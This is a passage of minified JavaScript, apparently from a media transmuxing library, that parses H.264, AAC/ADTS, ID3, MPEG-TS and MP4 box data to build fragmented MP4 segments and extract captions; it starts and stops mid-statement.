3:v=[10,11];break;case 4:v=[16,11];break;case 5:v=[40,33];break;case 6:v=[24,11];break;case 7:v=[20,11];break;case 8:v=[32,11];break;case 9:v=[80,33];break;case 10:v=[18,11];break;case 11:v=[15,11];break;case 12:v=[64,33];break;case 13:v=[160,99];break;case 14:v=[4,3];break;case 15:v=[3,2];break;case 16:v=[2,1];break;case 255:v=[t.readUnsignedByte()<<8|t.readUnsignedByte(),t.readUnsignedByte()<<8|t.readUnsignedByte()]}v&&(v[0],v[1])}return{profileIdc:i,levelIdc:n,profileCompatibility:r,width:16*(u+1)-2*f-2*m,height:(2-d)*(c+1)*16-2*g-2*_,sarRatio:v}}},st.prototype=new ut;var dt,ht={H264Stream:st,NalByteStream:at},pt=[96e3,88200,64e3,48e3,44100,32e3,24e3,22050,16e3,12e3,11025,8e3,7350],ft=function(e,t){var i=e[t+6]<<21|e[t+7]<<14|e[t+8]<<7|e[t+9];return i=i>=0?i:0,(16&e[t+5])>>4?i+20:i+10},mt=function(e,t){return e.length-t<10||e[t]!=="I".charCodeAt(0)||e[t+1]!=="D".charCodeAt(0)||e[t+2]!=="3".charCodeAt(0)?t:(t+=ft(e,t),mt(e,t))},gt=function(e){return e[0]<<21|e[1]<<14|e[2]<<7|e[3]},_t={isLikelyAacData:function(e){var t=mt(e,0);return e.length>=t+2&&255==(255&e[t])&&240==(240&e[t+1])&&16==(22&e[t+1])},parseId3TagSize:ft,parseAdtsSize:function(e,t){var i=(224&e[t+5])>>5,n=e[t+4]<<3;return 6144&e[t+3]|n|i},parseType:function(e,t){return e[t]==="I".charCodeAt(0)&&e[t+1]==="D".charCodeAt(0)&&e[t+2]==="3".charCodeAt(0)?"timed-metadata":!0&e[t]&&240==(240&e[t+1])?"audio":null},parseSampleRate:function(e){for(var t=0;t+5<e.length;){if(255===e[t]&&240==(246&e[t+1]))return pt[(60&e[t+2])>>>2];t++}return null},parseAacTimestamp:function(e){var t,i,n;t=10,64&e[5]&&(t+=4,t+=gt(e.subarray(10,14)));do{if((i=gt(e.subarray(t+4,t+8)))<1)return null;if("PRIV"===String.fromCharCode(e[t],e[t+1],e[t+2],e[t+3])){n=e.subarray(t+10,t+i+10);for(var r=0;r<n.byteLength;r++)if(0===n[r]){var s=unescape(function(e,t,i){var n,r="";for(n=0;n<i;n++)r+="%"+("00"+e[n].toString(16)).slice(-2);return r}(n,0,r));if("com.apple.streaming.transportStreamTimestamp"===s){var a=n.subarray(r+1),o=(1&a[3])<<30|a[4]<<22|a[5]<<14|a[6]<<6|a[7]>>>2;return(o*=4)+(3&a[7])}break}}t+=10,t+=i}while(t<e.byteLength);return null}},vt=_t;(dt=function(){var e=new Uint8Array,t=0;dt.prototype.init.call(this),this.setTimestamp=function(e){t=e},this.push=function(i){var n,r,s,a,o=0,l=0;for(e.length?(a=e.length,(e=new Uint8Array(i.byteLength+a)).set(e.subarray(0,a)),e.set(i,a)):e=i;e.length-l>=3;)if(e[l]!=="I".charCodeAt(0)||e[l+1]!=="D".charCodeAt(0)||e[l+2]!=="3".charCodeAt(0))if(255!=(255&e[l])||240!=(240&e[l+1]))l++;else{if(e.length-l<7)break;if(l+(o=vt.parseAdtsSize(e,l))>e.length)break;s={type:"audio",data:e.subarray(l,l+o),pts:t,dts:t},this.trigger("data",s),l+=o}else{if(e.length-l<10)break;if(l+(o=vt.parseId3TagSize(e,l))>e.length)break;r={type:"timed-metadata",data:e.subarray(l,l+o)},this.trigger("data",r),l+=o}n=e.length-l,e=n>0?e.subarray(l):new Uint8Array},this.reset=function(){e=new Uint8Array,this.trigger("reset")},this.endTimeline=function(){e=new Uint8Array,this.trigger("endedtimeline")}}).prototype=new U;var yt,bt,wt,Tt,kt=U,St=te,Mt=ne,xt=ce,Lt=he,Ct=it,Dt=le,Et=lt,Pt=ht.H264Stream,At=dt,It=_t.isLikelyAacData,Ot=le.ONE_SECOND_IN_TS,Yt=["audioobjecttype","channelcount","samplerate","samplingfrequencyindex","samplesize"],$t=["width","height","profileIdc","levelIdc","profileCompatibility","sarRatio"],jt=function(e,t){t.stream=e,this.trigger("log",t)},Nt=function(e,t){for(var i=Object.keys(t),n=0;n<i.length;n++){var r=i[n];"headOfPipeline"!==r&&t[r].on&&t[r].on("log",jt.bind(e,r))}},Rt=function(e,t){var i;if(e.length!==t.length)return!1;for(i=0;i<e.length;i++)if(e[i]!==t[i])return!1;return!0},Ht=function(e,t,i,n,r,s){return{start:{dts:e,pts:e+(i-t)},end:{dts:e+(n-t),pts:e+(r-i)},prependedContentDuration:s,baseMediaDecodeTime:e}};bt=function(e,t){var i,n=[],r=0,s=0,a=1/0;i=(t=t||{}).firstSequenceNumber||0,bt.prototype.init.call(this),this.push=function(t){Lt.collectDtsInfo(e,t),e&&Yt.forEach((function(i){e[i]=t[i]})),n.push(t)},this.setEarliestDts=function(e){r=e},this.setVideoBaseMediaDecodeTime=function(e){a=e},this.setAudioAppendStart=function(e){s=e},this.flush=function(){var o,l,u,c,d,h,p;0!==n.length?(o=xt.trimAdtsFramesByEarliestDts(n,e,r),e.baseMediaDecodeTime=Lt.calculateTrackBaseMediaDecodeTime(e,t.keepOriginalTimestamps),p=xt.prefixWithSilence(e,o,s,a),e.samples=xt.generateSampleTable(o),u=St.mdat(xt.concatenateFrameData(o)),n=[],l=St.moof(i,[e]),c=new Uint8Array(l.byteLength+u.byteLength),i++,c.set(l),c.set(u,l.byteLength),Lt.clearDtsInfo(e),d=Math.ceil(1024*Ot/e.samplerate),o.length&&(h=o.length*d,this.trigger("segmentTimingInfo",Ht(Dt.audioTsToVideoTs(e.baseMediaDecodeTime,e.samplerate),o[0].dts,o[0].pts,o[0].dts+h,o[0].pts+h,p||0)),this.trigger("timingInfo",{start:o[0].pts,end:o[0].pts+h})),this.trigger("data",{track:e,boxes:c}),this.trigger("done","AudioSegmentStream")):this.trigger("done","AudioSegmentStream")},this.reset=function(){Lt.clearDtsInfo(e),n=[],this.trigger("reset")}},bt.prototype=new kt,yt=function(e,t){var i,n,r,s=[],a=[];i=(t=t||{}).firstSequenceNumber||0,yt.prototype.init.call(this),delete e.minPTS,this.gopCache_=[],this.push=function(t){Lt.collectDtsInfo(e,t),"seq_parameter_set_rbsp"!==t.nalUnitType||n||(n=t.config,e.sps=[t.data],$t.forEach((function(t){e[t]=n[t]}),this)),"pic_parameter_set_rbsp"!==t.nalUnitType||r||(r=t.data,e.pps=[t.data]),s.push(t)},this.flush=function(){for(var n,r,o,l,u,c,d,h,p=0;s.length&&"access_unit_delimiter_rbsp"!==s[0].nalUnitType;)s.shift();if(0===s.length)return this.resetStream_(),void this.trigger("done","VideoSegmentStream");if(n=Mt.groupNalsIntoFrames(s),(o=Mt.groupFramesIntoGops(n))[0][0].keyFrame||((r=this.getGopForFusion_(s[0],e))?(p=r.duration,o.unshift(r),o.byteLength+=r.byteLength,o.nalCount+=r.nalCount,o.pts=r.pts,o.dts=r.dts,o.duration+=r.duration):o=Mt.extendFirstKeyFrame(o)),a.length){var f;if(!(f=t.alignGopsAtEnd?this.alignGopsAtEnd_(o):this.alignGopsAtStart_(o)))return this.gopCache_.unshift({gop:o.pop(),pps:e.pps,sps:e.sps}),this.gopCache_.length=Math.min(6,this.gopCache_.length),s=[],this.resetStream_(),void this.trigger("done","VideoSegmentStream");Lt.clearDtsInfo(e),o=f}Lt.collectDtsInfo(e,o),e.samples=Mt.generateSampleTable(o),u=St.mdat(Mt.concatenateNalData(o)),e.baseMediaDecodeTime=Lt.calculateTrackBaseMediaDecodeTime(e,t.keepOriginalTimestamps),this.trigger("processedGopsInfo",o.map((function(e){return{pts:e.pts,dts:e.dts,byteLength:e.byteLength}}))),d=o[0],h=o[o.length-1],this.trigger("segmentTimingInfo",Ht(e.baseMediaDecodeTime,d.dts,d.pts,h.dts+h.duration,h.pts+h.duration,p)),this.trigger("timingInfo",{start:o[0].pts,end:o[o.length-1].pts+o[o.length-1].duration}),this.gopCache_.unshift({gop:o.pop(),pps:e.pps,sps:e.sps}),this.gopCache_.length=Math.min(6,this.gopCache_.length),s=[],this.trigger("baseMediaDecodeTime",e.baseMediaDecodeTime),this.trigger("timelineStartInfo",e.timelineStartInfo),l=St.moof(i,[e]),c=new Uint8Array(l.byteLength+u.byteLength),i++,c.set(l),c.set(u,l.byteLength),this.trigger("data",{track:e,boxes:c}),this.resetStream_(),this.trigger("done","VideoSegmentStream")},this.reset=function(){this.resetStream_(),s=[],this.gopCache_.length=0,a.length=0,this.trigger("reset")},this.resetStream_=function(){Lt.clearDtsInfo(e),n=void 0,r=void 0},this.getGopForFusion_=function(t){var i,n,r,s,a,o=1/0;for(a=0;a<this.gopCache_.length;a++)r=(s=this.gopCache_[a]).gop,e.pps&&Rt(e.pps[0],s.pps[0])&&e.sps&&Rt(e.sps[0],s.sps[0])&&(r.dts<e.timelineStartInfo.dts||(i=t.dts-r.dts-r.duration)>=-1e4&&i<=45e3&&(!n||o>i)&&(n=s,o=i));return n?n.gop:null},this.alignGopsAtStart_=function(e){var t,i,n,r,s,o,l,u;for(s=e.byteLength,o=e.nalCount,l=e.duration,t=i=0;t<a.length&&i<e.length&&(n=a[t],r=e[i],n.pts!==r.pts);)r.pts>n.pts?t++:(i++,s-=r.byteLength,o-=r.nalCount,l-=r.duration);return 0===i?e:i===e.length?null:((u=e.slice(i)).byteLength=s,u.duration=l,u.nalCount=o,u.pts=u[0].pts,u.dts=u[0].dts,u)},this.alignGopsAtEnd_=function(e){var t,i,n,r,s,o,l;for(t=a.length-1,i=e.length-1,s=null,o=!1;t>=0&&i>=0;){if(n=a[t],r=e[i],n.pts===r.pts){o=!0;break}n.pts>r.pts?t--:(t===a.length-1&&(s=i),i--)}if(!o&&null===s)return null;if(0===(l=o?i:s))return e;var u=e.slice(l),c=u.reduce((function(e,t){return e.byteLength+=t.byteLength,e.duration+=t.duration,e.nalCount+=t.nalCount,e}),{byteLength:0,duration:0,nalCount:0});return u.byteLength=c.byteLength,u.duration=c.duration,u.nalCount=c.nalCount,u.pts=u[0].pts,u.dts=u[0].dts,u},this.alignGopsWith=function(e){a=e}},yt.prototype=new kt,Tt=function(e,t){this.numberOfTracks=0,this.metadataStream=t,void 0!==(e=e||{}).remux?this.remuxTracks=!!e.remux:this.remuxTracks=!0,"boolean"==typeof e.keepOriginalTimestamps?this.keepOriginalTimestamps=e.keepOriginalTimestamps:this.keepOriginalTimestamps=!1,this.pendingTracks=[],this.videoTrack=null,this.pendingBoxes=[],this.pendingCaptions=[],this.pendingMetadata=[],this.pendingBytes=0,this.emittedTracks=0,Tt.prototype.init.call(this),this.push=function(e){return e.text?this.pendingCaptions.push(e):e.frames?this.pendingMetadata.push(e):(this.pendingTracks.push(e.track),this.pendingBytes+=e.boxes.byteLength,"video"===e.track.type&&(this.videoTrack=e.track,this.pendingBoxes.push(e.boxes)),void("audio"===e.track.type&&(this.audioTrack=e.track,this.pendingBoxes.unshift(e.boxes))))}},Tt.prototype=new kt,Tt.prototype.flush=function(e){var t,i,n,r,s=0,a={captions:[],captionStreams:{},metadata:[],info:{}},o=0;if(this.pendingTracks.length<this.numberOfTracks){if("VideoSegmentStream"!==e&&"AudioSegmentStream"!==e)return;if(this.remuxTracks)return;if(0===this.pendingTracks.length)return this.emittedTracks++,void(this.emittedTracks>=this.numberOfTracks&&(this.trigger("done"),this.emittedTracks=0))}if(this.videoTrack?(o=this.videoTrack.timelineStartInfo.pts,$t.forEach((function(e){a.info[e]=this.videoTrack[e]}),this)):this.audioTrack&&(o=this.audioTrack.timelineStartInfo.pts,Yt.forEach((function(e){a.info[e]=this.audioTrack[e]}),this)),this.videoTrack||this.audioTrack){for(1===this.pendingTracks.length?a.type=this.pendingTracks[0].type:a.type="combined",this.emittedTracks+=this.pendingTracks.length,n=St.initSegment(this.pendingTracks),a.initSegment=new Uint8Array(n.byteLength),a.initSegment.set(n),a.data=new Uint8Array(this.pendingBytes),r=0;r<this.pendingBoxes.length;r++)a.data.set(this.pendingBoxes[r],s),s+=this.pendingBoxes[r].byteLength;for(r=0;r<this.pendingCaptions.length;r++)(t=this.pendingCaptions[r]).startTime=Dt.metadataTsToSeconds(t.startPts,o,this.keepOriginalTimestamps),t.endTime=Dt.metadataTsToSeconds(t.endPts,o,this.keepOriginalTimestamps),a.captionStreams[t.stream]=!0,a.captions.push(t);for(r=0;r<this.pendingMetadata.length;r++)(i=this.pendingMetadata[r]).cueTime=Dt.metadataTsToSeconds(i.pts,o,this.keepOriginalTimestamps),a.metadata.push(i);for(a.metadata.dispatchType=this.metadataStream.dispatchType,this.pendingTracks.length=0,this.videoTrack=null,this.pendingBoxes.length=0,this.pendingCaptions.length=0,this.pendingBytes=0,this.pendingMetadata.length=0,this.trigger("data",a),r=0;r<a.captions.length;r++)t=a.captions[r],this.trigger("caption",t);for(r=0;r<a.metadata.length;r++)i=a.metadata[r],this.trigger("id3Frame",i)}this.emittedTracks>=this.numberOfTracks&&(this.trigger("done"),this.emittedTracks=0)},Tt.prototype.setRemux=function(e){this.remuxTracks=e},(wt=function(e){var t,i,n=this,r=!0;wt.prototype.init.call(this),e=e||{},this.baseMediaDecodeTime=e.baseMediaDecodeTime||0,this.transmuxPipeline_={},this.setupAacPipeline=function(){var r={};this.transmuxPipeline_=r,r.type="aac",r.metadataStream=new Ct.MetadataStream,r.aacStream=new At,r.audioTimestampRolloverStream=new Ct.TimestampRolloverStream("audio"),r.timedMetadataTimestampRolloverStream=new Ct.TimestampRolloverStream("timed-metadata"),r.adtsStream=new Et,r.coalesceStream=new Tt(e,r.metadataStream),r.headOfPipeline=r.aacStream,r.aacStream.pipe(r.audioTimestampRolloverStream).pipe(r.adtsStream),r.aacStream.pipe(r.timedMetadataTimestampRolloverStream).pipe(r.metadataStream).pipe(r.coalesceStream),r.metadataStream.on("timestamp",(function(e){r.aacStream.setTimestamp(e.timeStamp)})),r.aacStream.on("data",(function(s){"timed-metadata"!==s.type&&"audio"!==s.type||r.audioSegmentStream||(i=i||{timelineStartInfo:{baseMediaDecodeTime:n.baseMediaDecodeTime},codec:"adts",type:"audio"},r.coalesceStream.numberOfTracks++,r.audioSegmentStream=new bt(i,e),r.audioSegmentStream.on("log",n.getLogTrigger_("audioSegmentStream")),r.audioSegmentStream.on("timingInfo",n.trigger.bind(n,"audioTimingInfo")),r.adtsStream.pipe(r.audioSegmentStream).pipe(r.coalesceStream),n.trigger("trackinfo",{hasAudio:!!i,hasVideo:!!t}))})),r.coalesceStream.on("data",this.trigger.bind(this,"data")),r.coalesceStream.on("done",this.trigger.bind(this,"done")),Nt(this,r)},this.setupTsPipeline=function(){var r={};this.transmuxPipeline_=r,r.type="ts",r.metadataStream=new Ct.MetadataStream,r.packetStream=new Ct.TransportPacketStream,r.parseStream=new Ct.TransportParseStream,r.elementaryStream=new Ct.ElementaryStream,r.timestampRolloverStream=new Ct.TimestampRolloverStream,r.adtsStream=new Et,r.h264Stream=new Pt,r.captionStream=new Ct.CaptionStream(e),r.coalesceStream=new Tt(e,r.metadataStream),r.headOfPipeline=r.packetStream,r.packetStream.pipe(r.parseStream).pipe(r.elementaryStream).pipe(r.timestampRolloverStream),r.timestampRolloverStream.pipe(r.h264Stream),r.timestampRolloverStream.pipe(r.adtsStream),r.timestampRolloverStream.pipe(r.metadataStream).pipe(r.coalesceStream),r.h264Stream.pipe(r.captionStream).pipe(r.coalesceStream),r.elementaryStream.on("data",(function(s){var a;if("metadata"===s.type){for(a=s.tracks.length;a--;)t||"video"!==s.tracks[a].type?i||"audio"!==s.tracks[a].type||((i=s.tracks[a]).timelineStartInfo.baseMediaDecodeTime=n.baseMediaDecodeTime):(t=s.tracks[a]).timelineStartInfo.baseMediaDecodeTime=n.baseMediaDecodeTime;t&&!r.videoSegmentStream&&(r.coalesceStream.numberOfTracks++,r.videoSegmentStream=new yt(t,e),r.videoSegmentStream.on("log",n.getLogTrigger_("videoSegmentStream")),r.videoSegmentStream.on("timelineStartInfo",(function(t){i&&!e.keepOriginalTimestamps&&(i.timelineStartInfo=t,r.audioSegmentStream.setEarliestDts(t.dts-n.baseMediaDecodeTime))})),r.videoSegmentStream.on("processedGopsInfo",n.trigger.bind(n,"gopInfo")),r.videoSegmentStream.on("segmentTimingInfo",n.trigger.bind(n,"videoSegmentTimingInfo")),r.videoSegmentStream.on("baseMediaDecodeTime",(function(e){i&&r.audioSegmentStream.setVideoBaseMediaDecodeTime(e)})),r.videoSegmentStream.on("timingInfo",n.trigger.bind(n,"videoTimingInfo")),r.h264Stream.pipe(r.videoSegmentStream).pipe(r.coalesceStream)),i&&!r.audioSegmentStream&&(r.coalesceStream.numberOfTracks++,r.audioSegmentStream=new bt(i,e),r.audioSegmentStream.on("log",n.getLogTrigger_("audioSegmentStream")),r.audioSegmentStream.on("timingInfo",n.trigger.bind(n,"audioTimingInfo")),r.audioSegmentStream.on("segmentTimingInfo",n.trigger.bind(n,"audioSegmentTimingInfo")),r.adtsStream.pipe(r.audioSegmentStream).pipe(r.coalesceStream)),n.trigger("trackinfo",{hasAudio:!!i,hasVideo:!!t})}})),r.coalesceStream.on("data",this.trigger.bind(this,"data")),r.coalesceStream.on("id3Frame",(function(e){e.dispatchType=r.metadataStream.dispatchType,n.trigger("id3Frame",e)})),r.coalesceStream.on("caption",this.trigger.bind(this,"caption")),r.coalesceStream.on("done",this.trigger.bind(this,"done")),Nt(this,r)},this.setBaseMediaDecodeTime=function(n){var r=this.transmuxPipeline_;e.keepOriginalTimestamps||(this.baseMediaDecodeTime=n),i&&(i.timelineStartInfo.dts=void 0,i.timelineStartInfo.pts=void 0,Lt.clearDtsInfo(i),r.audioTimestampRolloverStream&&r.audioTimestampRolloverStream.discontinuity()),t&&(r.videoSegmentStream&&(r.videoSegmentStream.gopCache_=[]),t.timelineStartInfo.dts=void 0,t.timelineStartInfo.pts=void 0,Lt.clearDtsInfo(t),r.captionStream.reset()),r.timestampRolloverStream&&r.timestampRolloverStream.discontinuity()},this.setAudioAppendStart=function(e){i&&this.transmuxPipeline_.audioSegmentStream.setAudioAppendStart(e)},this.setRemux=function(t){var i=this.transmuxPipeline_;e.remux=t,i&&i.coalesceStream&&i.coalesceStream.setRemux(t)},this.alignGopsWith=function(e){t&&this.transmuxPipeline_.videoSegmentStream&&this.transmuxPipeline_.videoSegmentStream.alignGopsWith(e)},this.getLogTrigger_=function(e){var t=this;return function(i){i.stream=e,t.trigger("log",i)}},this.push=function(e){if(r){var t=It(e);t&&"aac"!==this.transmuxPipeline_.type?this.setupAacPipeline():t||"ts"===this.transmuxPipeline_.type||this.setupTsPipeline(),r=!1}this.transmuxPipeline_.headOfPipeline.push(e)},this.flush=function(){r=!0,this.transmuxPipeline_.headOfPipeline.flush()},this.endTimeline=function(){this.transmuxPipeline_.headOfPipeline.endTimeline()},this.reset=function(){this.transmuxPipeline_.headOfPipeline&&this.transmuxPipeline_.headOfPipeline.reset()},this.resetCaptions=function(){this.transmuxPipeline_.captionStream&&this.transmuxPipeline_.captionStream.reset()}}).prototype=new kt;var Ft,Bt,Ut,Wt,zt={Transmuxer:wt,VideoSegmentStream:yt,AudioSegmentStream:bt,AUDIO_PROPERTIES:Yt,VIDEO_PROPERTIES:$t,generateSegmentTimingInfo:Ht},qt=function(e){return e>>>0},Vt=function(e){var t="";return t+=String.fromCharCode(e[0]),t+=String.fromCharCode(e[1]),(t+=String.fromCharCode(e[2]))+String.fromCharCode(e[3])},Jt=qt,Gt=Vt,Kt=function(e,t){var i,n,r,s,a,o=[];if(!t.length)return null;for(i=0;i<e.byteLength;)n=Jt(e[i]<<24|e[i+1]<<16|e[i+2]<<8|e[i+3]),r=Gt(e.subarray(i+4,i+8)),s=n>1?i+n:e.byteLength,r===t[0]&&(1===t.length?o.push(e.subarray(i+8,s)):(a=Kt(e.subarray(i+8,s),t.slice(1))).length&&(o=o.concat(a))),i=s;return o},Xt=qt,Zt=z.getUint64,ei=function(e){return{isLeading:(12&e[0])>>>2,dependsOn:3&e[0],isDependedOn:(192&e[1])>>>6,hasRedundancy:(48&e[1])>>>4,paddingValue:(14&e[1])>>>1,isNonSyncSample:1&e[1],degradationPriority:e[2]<<8|e[3]}},ni=(Ft="undefined"!=typeof window?window:void 0!==e?e:"undefined"!=typeof self?self:{},pe.discardEmulationPreventionBytes),ri=Le.CaptionStream,si=Kt,ai=function(e){var t={version:e[0],flags:new Uint8Array(e.subarray(1,4))};return 1===t.version?t.baseMediaDecodeTime=Zt(e.subarray(4)):t.baseMediaDecodeTime=Xt(e[4]<<24|e[5]<<16|e[6]<<8|e[7]),t},oi=function(e){var t,i={version:e[0],flags:new Uint8Array(e.subarray(1,4)),samples:[]},n=new DataView(e.buffer,e.byteOffset,e.byteLength),r=1&i.flags[2],s=4&i.flags[2],a=1&i.flags[1],o=2&i.flags[1],l=4&i.flags[1],u=8&i.flags[1],c=n.getUint32(4),d=8;for(r&&(i.dataOffset=n.getInt32(d),d+=4),s&&c&&(t={flags:ei(e.subarray(d,d+4))},d+=4,a&&(t.duration=n.getUint32(d),d+=4),o&&(t.size=n.getUint32(d),d+=4),u&&(1===i.version?t.compositionTimeOffset=n.getInt32(d):t.compositionTimeOffset=n.getUint32(d),d+=4),i.samples.push(t),c--);c--;)t={},a&&(t.duration=n.getUint32(d),d+=4),o&&(t.size=n.getUint32(d),d+=4),l&&(t.flags=ei(e.subarray(d,d+4)),d+=4),u&&(1===i.version?t.compositionTimeOffset=n.getInt32(d):t.compositionTimeOffset=n.getUint32(d),d+=4),i.samples.push(t);return i},li=function(e){var t,i=new DataView(e.buffer,e.byteOffset,e.byteLength),n={version:e[0],flags:new Uint8Array(e.subarray(1,4)),trackId:i.getUint32(4)},r=1&n.flags[2],s=2&n.flags[2],a=8&n.flags[2],o=16&n.flags[2],l=32&n.flags[2],u=65536&n.flags[0],c=131072&n.flags[0];return t=8,r&&(t+=4,n.baseDataOffset=i.getUint32(12),t+=4),s&&(n.sampleDescriptionIndex=i.getUint32(t),t+=4),a&&(n.defaultSampleDuration=i.getUint32(t),t+=4),o&&(n.defaultSampleSize=i.getUint32(t),t+=4),l&&(n.defaultSampleFlags=i.getUint32(t)),u&&(n.durationIsEmpty=!0),!r&&c&&(n.baseDataOffsetIsMoof=!0),n},ui=Ft,ci=function(e,t){for(var i=e,n=0;n<t.length;n++){var r=t[n];if(i<r.size)return r;i-=r.size}return null},di=function(){var e,t,i,n,r,s,a=!1;this.isInitialized=function(){return a},this.init=function(t){e=new ri,a=!0,s=!!t&&t.isPartial,e.on("data",(function(e){e.startTime=e.startPts/n,e.endTime=e.endPts/n,r.captions.push(e),r.captionStreams[e.stream]=!0})),e.on("log",(function(e){r.logs.push(e)}))},this.isNewInit=function(e,t){return!(e&&0===e.length||t&&"object"==typeof t&&0===Object.keys(t).length||i===e[0]&&n===t[i])},this.parse=function(e,s,a){var o;if(!this.isInitialized())return null;if(!s||!a)return null;if(this.isNewInit(s,a))i=s[0],n=a[i];else if(null===i||!n)return t.push(e),null;for(;t.length>0;){var l=t.shift();this.parse(l,s,a)}return o=function(e,t,i){if(null===t)return null;var n=function(e,t){var i=si(e,["moof","traf"]),n=si(e,["mdat"]),r={},s=[];return n.forEach((function(e,t){var n=i[t];s.push({mdat:e,traf:n})})),s.forEach((function(e){var i,n,s=e.mdat,a=e.traf,o=si(a,["tfhd"]),l=li(o[0]),u=l.trackId,c=si(a,["tfdt"]),d=c.length>0?ai(c[0]).baseMediaDecodeTime:0,h=si(a,["trun"]);t===u&&h.length>0&&(i=function(e,t,i){var n=t,r=i.defaultSampleDuration||0,s=i.defaultSampleSize||0,a=i.trackId,o=[];return e.forEach((function(e){var t=oi(e).samples;t.forEach((function(e){void 0===e.duration&&(e.duration=r),void 0===e.size&&(e.size=s),e.trackId=a,e.dts=n,void 0===e.compositionTimeOffset&&(e.compositionTimeOffset=0),"bigint"==typeof n?(e.pts=n+ui.BigInt(e.compositionTimeOffset),n+=ui.BigInt(e.duration)):(e.pts=n+e.compositionTimeOffset,n+=e.duration)})),o=o.concat(t)})),o}(h,d,l),n=function(e,t,i){var n,r,s,a,o=new DataView(e.buffer,e.byteOffset,e.byteLength),l={logs:[],seiNals:[]};for(r=0;r+4<e.length;r+=s)if(s=o.getUint32(r),r+=4,!(s<=0))switch(31&e[r]){case 6:var u=e.subarray(r+1,r+1+s),c=ci(r,t);if(n={nalUnitType:"sei_rbsp",size:s,data:u,escapedRBSP:ni(u),trackId:i},c)n.pts=c.pts,n.dts=c.dts,a=c;else{if(!a){l.logs.push({level:"warn",message:"We've encountered a nal unit without data at "+r+" for trackId "+i+". See mux.js#223."});break}n.pts=a.pts,n.dts=a.dts}l.seiNals.push(n)}return l}(s,i,u),r[u]||(r[u]={seiNals:[],logs:[]}),r[u].seiNals=r[u].seiNals.concat(n.seiNals),r[u].logs=r[u].logs.concat(n.logs))})),r}(e,t)[t]||{};return{seiNals:n.seiNals,logs:n.logs,timescale:i}}(e,i,n),o&&o.logs&&(r.logs=r.logs.concat(o.logs)),null!==o&&o.seiNals?(this.pushNals(o.seiNals),this.flushStream(),r):r.logs.length?{logs:r.logs,captions:[],captionStreams:[]}:null},this.pushNals=function(t){if(!this.isInitialized()||!t||0===t.length)return null;t.forEach((function(t){e.push(t)}))},this.flushStream=function(){if(!this.isInitialized())return null;s?e.partialFlush():e.flush()},this.clearParsedCaptions=function(){r.captions=[],r.captionStreams={},r.logs=[]},this.resetCaptionStream=function(){if(!this.isInitialized())return null;e.reset()},this.clearAllCaptions=function(){this.clearParsedCaptions(),this.resetCaptionStream()},this.reset=function(){t=[],i=null,n=null,r?this.clearParsedCaptions():r={captions:[],captionStreams:{},logs:[]},this.resetCaptionStream()},this.reset()},hi=qt,pi=function(e){return("00"+e.toString(16)).slice(-2)},fi=Kt,mi=Vt,gi=z.getUint64,_i=Ft;Bt=function(e,t){var i=fi(t,["moof","traf"]).reduce((function(t,i){var n,r=fi(i,["tfhd"])[0],s=hi(r[4]<<24|r[5]<<16|r[6]<<8|r[7]),a=e[s]||9e4,o=fi(i,["tfdt"])[0],l=new DataView(o.buffer,o.byteOffset,o.byteLength);let u;return"bigint"==typeof(n=1===o[0]?gi(o.subarray(4,12)):l.getUint32(4))?u=n/_i.BigInt(a):"number"!=typeof n||isNaN(n)||(u=n/a),u<Number.MAX_SAFE_INTEGER&&(u=Number(u)),u<t&&(t=u),t}),1/0);return"bigint"==typeof i||isFinite(i)?i:0},Wt=function(e){var t=0===e[0]?12:20;return hi(e[t]<<24|e[t+1]<<16|e[t+2]<<8|e[t+3])},Ut=function(e){var t=fi(e,["moov","trak"]),i=[];return t.forEach((function(e){var t,n,r={},s=fi(e,["tkhd"])[0];s&&(n=(t=new DataView(s.buffer,s.byteOffset,s.byteLength)).getUint8(0),r.id=0===n?t.getUint32(12):t.getUint32(20));var a=fi(e,["mdia","hdlr"])[0];if(a){var o=mi(a.subarray(8,12));r.type="vide"===o?"video":"soun"===o?"audio":o}var l=fi(e,["mdia","minf","stbl","stsd"])[0];if(l){var u=l.subarray(8);r.codec=mi(u.subarray(4,8));var c,d=fi(u,[r.codec])[0];d&&(/^[asm]vc[1-9]$/i.test(r.codec)?(c=d.subarray(78),"avcC"===mi(c.subarray(4,8))&&c.length>11?(r.codec+=".",r.codec+=pi(c[9]),r.codec+=pi(c[10]),r.codec+=pi(c[11])):r.codec="avc1.4d400d"):/^mp4[a,v]$/i.test(r.codec)?(c=d.subarray(28),"esds"===mi(c.subarray(4,8))&&c.length>20&&0!==c[19]?(r.codec+="."+pi(c[19]),r.codec+="."+pi(c[20]>>>2&63).replace(/^0/,"")):r.codec="mp4a.40.2"):r.codec=r.codec.toLowerCase())}var h=fi(e,["mdia","mdhd"])[0];h&&(r.timescale=Wt(h)),i.push(r)})),i};var vi=Bt,yi=Ut,bi=Ce,wi=function(e){var t=31&e[1];return(t<<=8)|e[2]},Ti=function(e){return!!(64&e[1])},ki=function(e){var t=0;return(48&e[3])>>>4>1&&(t+=e[4]+1),t},Si=function(e){switch(e){case 5:return"slice_layer_without_partitioning_rbsp_idr";case 6:return"sei_rbsp";case 7:return"seq_parameter_set_rbsp";case 8:return"pic_parameter_set_rbsp";case 9:return"access_unit_delimiter_rbsp";default:return null}},Mi={parseType:function(e,t){var i=wi(e);return 0===i?"pat":i===t?"pmt":t?"pes":null},parsePat:function(e){var t=Ti(e),i=4+ki(e);return t&&(i+=e[i]+1),(31&e[i+10])<<8|e[i+11]},parsePmt:function(e){var t={},i=Ti(e),n=4+ki(e);if(i&&(n+=e[n]+1),1&e[n+5]){var r;r=3+((15&e[n+1])<<8|e[n+2])-4;for(var s=12+((15&e[n+10])<<8|e[n+11]);s<r;){var a=n+s;t[(31&e[a+1])<<8|e[a+2]]=e[a],s+=5+((15&e[a+3])<<8|e[a+4])}return t}},parsePayloadUnitStartIndicator:Ti,parsePesType:function(e,t){switch(t[wi(e)]){case bi.H264_STREAM_TYPE:return"video";case bi.ADTS_STREAM_TYPE:return"audio";case bi.METADATA_STREAM_TYPE:return"timed-metadata";default:return null}},parsePesTime:function(e){if(!Ti(e))return null;var t=4+ki(e);if(t>=e.byteLength)return null;var i,n=null;return 192&(i=e[t+7])&&((n={}).pts=(14&e[t+9])<<27|(255&e[t+10])<<20|(254&e[t+11])<<12|(255&e[t+12])<<5|(254&e[t+13])>>>3,n.pts*=4,n.pts+=(6&e[t+13])>>>1,n.dts=n.pts,64&i&&(n.dts=(14&e[t+14])<<27|(255&e[t+15])<<20|(254&e[t+16])<<12|(255&e[t+17])<<5|(254&e[t+18])>>>3,n.dts*=4,n.dts+=(6&e[t+18])>>>1)),n},videoPacketContainsKeyFrame:function(e){for(var 